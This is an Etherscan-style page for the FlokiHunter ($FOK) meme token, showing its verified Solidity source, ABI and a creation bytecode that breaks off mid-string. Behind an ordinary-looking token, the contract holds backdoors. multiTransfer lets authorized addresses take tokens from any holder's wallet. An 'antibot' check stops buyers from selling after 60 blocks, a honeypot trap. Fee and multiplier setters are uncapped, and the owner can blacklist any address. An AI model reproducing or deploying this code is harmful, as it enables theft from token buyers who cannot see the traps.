ETH Price: $3,286.43 (+0.97%)
Gas: 5 Gwei

Token

FlokiHunter ($FOK)
 

Overview

Max Total Supply

100,000,000 $FOK

Holders

60

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
400,000 $FOK

Value
$0.00
0xdef5bb1ff70798508cc7216eafbcb1bf19b827c9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FlokiHunter

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-28
*/

/**


FLOKI HUNTER !!

THE HUNT IS STARTED !!

Telegram: https://t.me/FlokiHunterPortal

Website: https://www.flokihunter.net/

Twitter: https://twitter.com/flokihuntererc

Medium: 

https://medium.com/@flokihuntertoken/join-the-hunt-for-floki-with-the-floki-hunter-cryptocurrency-5c4f95f7b187

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.15;

library SafeMath {
     function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;
    address internal potentialOwner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    function authorize(address adr) public onlyOwner {
        authorizations[adr] = true;
    }

    function unauthorize(address adr) public onlyOwner {
        require(adr != owner, "OWNER cant be unauthorized");
        authorizations[adr] = false;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    function transferOwnership(address payable adr) public onlyOwner {
        require(adr != owner, "Already the owner");
        require(adr != address(0), "Can not be zero address.");
        potentialOwner = adr;
        emit OwnershipNominated(adr);
    }

    function renounceOwnership() public onlyOwner {
        authorizations[owner] = false;
        owner = address(0);
        emit OwnershipTransferred(owner);
    }

    function acceptOwnership() public {
        require(msg.sender == potentialOwner, "You must be nominated as potential owner before you can accept the role.");
        authorizations[owner] = false;
        authorizations[potentialOwner] = true;
        owner = potentialOwner;
        potentialOwner = address(0);
        emit OwnershipTransferred(owner);
    }

    event OwnershipTransferred(address owner);
    event OwnershipNominated(address potentialOwner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract FlokiHunter is ERC20, Auth {
    using SafeMath for uint256;

    address immutable WETH;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;

    string public constant name = "FlokiHunter";
    string public constant symbol = "$FOK";
    uint8 public constant decimals = 9;

    uint256 public constant totalSupply = 100 * 10**6 * 10**decimals;

    uint256 public _maxTxAmount = totalSupply / 10;
    uint256 public _maxWalletToken = totalSupply / 10;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) _allowances;

    bool public blacklistMode = true;
    mapping (address => bool) public isBlacklisted;

    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isWalletLimitExempt;

    uint256 public liquidityFee = 1;
    uint256 public marketingFee = 20;
    uint256 public operationsFee = 50;
    uint256 public totalFee = marketingFee + liquidityFee + operationsFee;
    uint256 public constant feeDenominator = 1000;

    uint256 public buyMultiplier = 100;
    uint256 public sellMultiplier = 100;
    uint256 public transferMultiplier = 100;

    address autoLiquidityReceiver;
    address marketingFeeReceiver;
    address operationsFeeReceiver;

    IDEXRouter public router;
    address public immutable pair;

    bool public tradingOpen = true;
    bool antibot = true;

    mapping (address => uint) firstbuy;

    bool public swapEnabled = true;
    uint256 public swapThreshold = totalSupply / 1000;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = 0xaefe34ab21DD0CDd70bcdD4d00Cb1eb1DA8bd8EF;
        operationsFeeReceiver = 0x59b4Dd9776664c3a90E5f32bA04581e89E51C272;

        isFeeExempt[msg.sender] = true;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[DEAD] = true;
        isTxLimitExempt[ZERO] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[DEAD] = true;

        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable { }

    function getOwner() external view override returns (address) { return owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
        require(maxWallPercent_base1000 >= 5,"Cannot set max wallet less than 0.5%");
        _maxWalletToken = (totalSupply * maxWallPercent_base1000 ) / 1000;
    }
    function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner {
        require(maxTXPercentage_base1000 >= 5,"Cannot set max transaction less than 0.5%");
        _maxTxAmount = (totalSupply * maxTXPercentage_base1000 ) / 1000;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen,"Trading not open yet");
            if(antibot && (sender == pair)){
                if(firstbuy[recipient] == 0){
                    firstbuy[recipient] = block.number;
                }
                blacklist_wallet(recipient,true);
            }
        }

        // Blacklist
        if(blacklistMode && !antibot){
            require(!isBlacklisted[sender],"Blacklisted");
        }

        if(antibot && (firstbuy[sender] > 0)){
            require( firstbuy[sender] > (block.number - 60), "Bought before contract was launched");
        }

        if (!authorizations[sender] && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) {
            require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
        }

        require((amount <= _maxTxAmount) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "Max TX Limit Exceeded");

        if(shouldSwapBack()){ swapBack(); }

        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);

        balanceOf[recipient] = balanceOf[recipient].add(amountReceived);


        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");
        balanceOf[recipient] = balanceOf[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
        if(amount == 0 || totalFee == 0){
            return amount;
        }

        uint256 multiplier = transferMultiplier;

        if(recipient == pair) {
            multiplier = sellMultiplier;
        } else if(sender == pair) {
            multiplier = buyMultiplier;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
        uint256 contractTokens = feeAmount;

        if(contractTokens > 0){
            balanceOf[address(this)] = balanceOf[address(this)].add(contractTokens);
            emit Transfer(sender, address(this), contractTokens);
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && balanceOf[address(this)] >= swapThreshold;
    }

    function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer(amountETH * amountPercentage / 100);
    }

    function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
        if(tokens == 0){
            tokens = ERC20(tokenAddress).balanceOf(address(this));
        }
        return ERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function tradingStatus(bool _status, bool _ab) external onlyOwner {
        tradingOpen = _status;
        antibot = _ab;
    }

    function swapBack() internal swapping {
        uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;

        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHOperations = amountETH.mul(operationsFee).div(totalETHFee);

        payable(marketingFeeReceiver).transfer(amountETHMarketing);
        payable(operationsFeeReceiver).transfer(amountETHOperations);

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
        }
    }

    function manage_blacklist_status(bool _status) external onlyOwner {
        blacklistMode = _status;
    }

    function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
        require(addresses.length < 201,"GAS Error: max limit is 200 addresses");
        for (uint256 i=0; i < addresses.length; ++i) {
            blacklist_wallet(addresses[i],status);
        }
    }

    function blacklist_wallet(address _adr, bool _status) private {
        if(_status && _adr == pair){
            return;
        }
        isBlacklisted[_adr] = _status;
    }

    function manage_FeeExempt(address[] calldata addresses, bool status) external onlyOwner {
        require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
        for (uint256 i=0; i < addresses.length; ++i) {
            isFeeExempt[addresses[i]] = status;
        }
    }

    function manage_TxLimitExempt(address[] calldata addresses, bool status) external onlyOwner {
        require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
        for (uint256 i=0; i < addresses.length; ++i) {
            isTxLimitExempt[addresses[i]] = status;
        }
    }

    function manage_WalletLimitExempt(address[] calldata addresses, bool status) external onlyOwner {
        require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
        for (uint256 i=0; i < addresses.length; ++i) {
            isWalletLimitExempt[addresses[i]] = status;
        }
    }

    function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner {
        sellMultiplier = _sell;
        buyMultiplier = _buy;
        transferMultiplier = _trans;
    }

    function setFees(uint256 _liquidityFee,  uint256 _marketingFee, uint256 _operationsFee) external onlyOwner {
        liquidityFee = _liquidityFee;
        marketingFee = _marketingFee;
        operationsFee = _operationsFee;
        totalFee = _liquidityFee + _marketingFee + _operationsFee;
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _operationsFeeReceiver) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        operationsFeeReceiver = _operationsFeeReceiver;
    }


    function setSwapBackSettings(bool _enabled, uint256 _denominator) external onlyOwner {
        require(_denominator > 50, "Amount too high");

        swapEnabled = _enabled;
        swapThreshold = totalSupply / _denominator;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return (totalSupply - balanceOf[DEAD] - balanceOf[ZERO]);
    }


    function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external authorized {
        require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
        require(addresses.length == tokens.length,"Mismatch between address and token count");

        uint256 SCCC = 0;

        for(uint i=0; i < addresses.length; i++){
            SCCC = SCCC + tokens[i];
        }

        require(balanceOf[from] >= SCCC, "Not enough tokens in wallet");

        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(from,addresses[i],tokens[i]);
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"potentialOwner","type":"address"}],"name":"OwnershipNominated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"acceptOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"clearStuckToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_FeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_TxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_WalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"manage_blacklist_status","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"tokens","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_operationsFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_operationsFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTXPercentage_base1000","type":"uint256"}],"name":"setMaxTxPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setMultipliers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"},{"internalType":"bool","name":"_ab","type":"bool"}],"name":"tradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600a6200001360098262000594565b62000023906305f5e100620005ac565b6200002f9190620005ce565b600355600a6200004160098262000594565b62000051906305f5e100620005ac565b6200005d9190620005ce565b6004556007805460ff19166001908117909155600c8190556014600d8190556032600e819055916200008f91620005f1565b6200009b9190620005f1565b600f556064601081905560118190556012556016805461ffff60a01b191661010160a01b1790556018805460ff191660011790556103e8620000e06009600a62000594565b620000f0906305f5e100620005ac565b620000fc9190620005ce565b6019553480156200010c57600080fd5b5060008054336001600160a01b031991821681178355825260026020908152604092839020805460ff1916600117905560168054737a250d5630b4cf539739df2c5dacb4c659f2488d93168317905582516315ab88c960e31b81529251919263ad5c464892600480830193928290030181865afa15801562000192573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b891906200060c565b6001600160a01b039081166080526016546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa15801562000209573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022f91906200060c565b6080516040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000281573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a791906200060c565b6001600160a01b0390811660a05230600081815260066020908152604080832060165490951683529381528382206000199055601380546001600160a01b03199081163390811790925560148054821673aefe34ab21dd0cdd70bcdd4d00cb1eb1da8bd8ef179055601580549091167359b4dd9776664c3a90e5f32ba04581e89e51c27217905582526009808252848320805460ff199081166001908117909255600a80855287862080548316841790557f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb80548316841790557f13da86008ba1c6922daee3e07db95305ef49ebced9f5467a0b8613fcc6b343e38054831684179055600b9094528685208054821683179055948452948320805485168617905561dead9092527f44433eeeda1d04bdae79f62169cdb2ab0a6af287fa15706d3fafdbac5fac34158054909316909317909155620004059162000594565b62000415906305f5e100620005ac565b33600081815260056020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620004586009600a62000594565b62000468906305f5e100620005ac565b60405190815260200160405180910390a362000637565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004d6578160001904821115620004ba57620004ba6200047f565b80851615620004c857918102915b93841c93908002906200049a565b509250929050565b600082620004ef575060016200058e565b81620004fe575060006200058e565b8160018114620005175760028114620005225762000542565b60019150506200058e565b60ff8411156200053657620005366200047f565b50506001821b6200058e565b5060208310610133831016604e8410600b841016171562000567575081810a6200058e565b62000573838362000495565b80600019048211156200058a576200058a6200047f565b0290505b92915050565b6000620005a560ff841683620004de565b9392505050565b6000816000190483118215151615620005c957620005c96200047f565b500290565b600082620005ec57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156200060757620006076200047f565b500190565b6000602082840312156200061f57600080fd5b81516001600160a01b0381168114620005a557600080fd5b60805160a051612e36620006876000396000818161082701528181611c5901528181611e7201528181612112015281816121e6015281816125650152612599015260006122ed0152612e366000f3fe6080604052600436106103375760003560e01c8063715018a6116101ab578063b6a5d7de116100f7578063f0b37c0411610095578063fe575a871161006f578063fe575a87146109df578063fe9fbb8014610a0f578063fed0d2a114610a48578063ffb54a9914610a5e57600080fd5b8063f0b37c041461097f578063f2fde38b1461099f578063f887ea40146109bf57600080fd5b8063cec10c11116100d1578063cec10c11146108d9578063d7c01032146108f9578063dd62ed3e14610919578063df20fd491461095f57600080fd5b8063b6a5d7de14610869578063bd9ab53714610889578063c867d60b146108a957600080fd5b8063896648c11161016457806395d89b411161013e57806395d89b41146107cf57806398118cb4146107ff578063a8aa1b3114610815578063a9059cbb1461084957600080fd5b8063896648c1146107655780638b42507f1461077f5780638e2eee84146107af57600080fd5b8063715018a6146106bd57806377b54bad146106d257806378109e54146106f257806379ba5097146107085780637d1db4a51461071d578063893d20e81461073357600080fd5b80631df4ccfc116102855780634be9d869116102235780636b67c4df116101fd5780636b67c4df146106405780636ce46bc3146106565780636ddd17131461067657806370a082311461069057600080fd5b80634be9d869146105ea578063571ac8b01461060a5780635921652f1461062a57600080fd5b80632f54bf6e1161025f5780632f54bf6e1461054e5780633121c7c01461057d578063313ce567146105935780633f4218e0146105ba57600080fd5b80631df4ccfc1461050357806323b872dd146105195780632b112e491461053957600080fd5b8063090896be116102f2578063180b0d7e116102cc578063180b0d7e1461049857806318160ddd146104ae5780631ca0a28d146104c35780631da1db5e146104e357600080fd5b8063090896be1461043257806309302dc614610448578063095ea7b31461046857600080fd5b806210868314610343578062bff44614610365578063034c489714610385578063034fc0b7146103a55780630445b667146103c557806306fdde03146103ee57600080fd5b3661033e57005b600080fd5b34801561034f57600080fd5b5061036361035e366004612829565b610a7f565b005b34801561037157600080fd5b50610363610380366004612829565b610b48565b34801561039157600080fd5b506103636103a0366004612880565b610c02565b3480156103b157600080fd5b506103636103c03660046128b9565b610c60565b3480156103d157600080fd5b506103db60195481565b6040519081526020015b60405180910390f35b3480156103fa57600080fd5b506104256040518060400160405280600b81526020016a233637b5b4a43ab73a32b960a91b81525081565b6040516103e591906128d6565b34801561043e57600080fd5b506103db600e5481565b34801561045457600080fd5b5061036361046336600461292b565b610c9d565b34801561047457600080fd5b50610488610483366004612959565b610d5c565b60405190151581526020016103e5565b3480156104a457600080fd5b506103db6103e881565b3480156104ba57600080fd5b506103db610dc9565b3480156104cf57600080fd5b506103636104de366004612985565b610de6565b3480156104ef57600080fd5b506103636104fe36600461292b565b610fd1565b34801561050f57600080fd5b506103db600f5481565b34801561052557600080fd5b50610488610534366004612a08565b611043565b34801561054557600080fd5b506103db611105565b34801561055a57600080fd5b50610488610569366004612a49565b6000546001600160a01b0391821691161490565b34801561058957600080fd5b506103db60105481565b34801561059f57600080fd5b506105a8600981565b60405160ff90911681526020016103e5565b3480156105c657600080fd5b506104886105d5366004612a49565b60096020526000908152604090205460ff1681565b3480156105f657600080fd5b50610363610605366004612829565b61118c565b34801561061657600080fd5b50610488610625366004612a49565b611246565b34801561063657600080fd5b506103db60125481565b34801561064c57600080fd5b506103db600d5481565b34801561066257600080fd5b50610363610671366004612a66565b611254565b34801561068257600080fd5b506018546104889060ff1681565b34801561069c57600080fd5b506103db6106ab366004612a49565b60056020526000908152604090205481565b3480156106c957600080fd5b5061036361128f565b3480156106de57600080fd5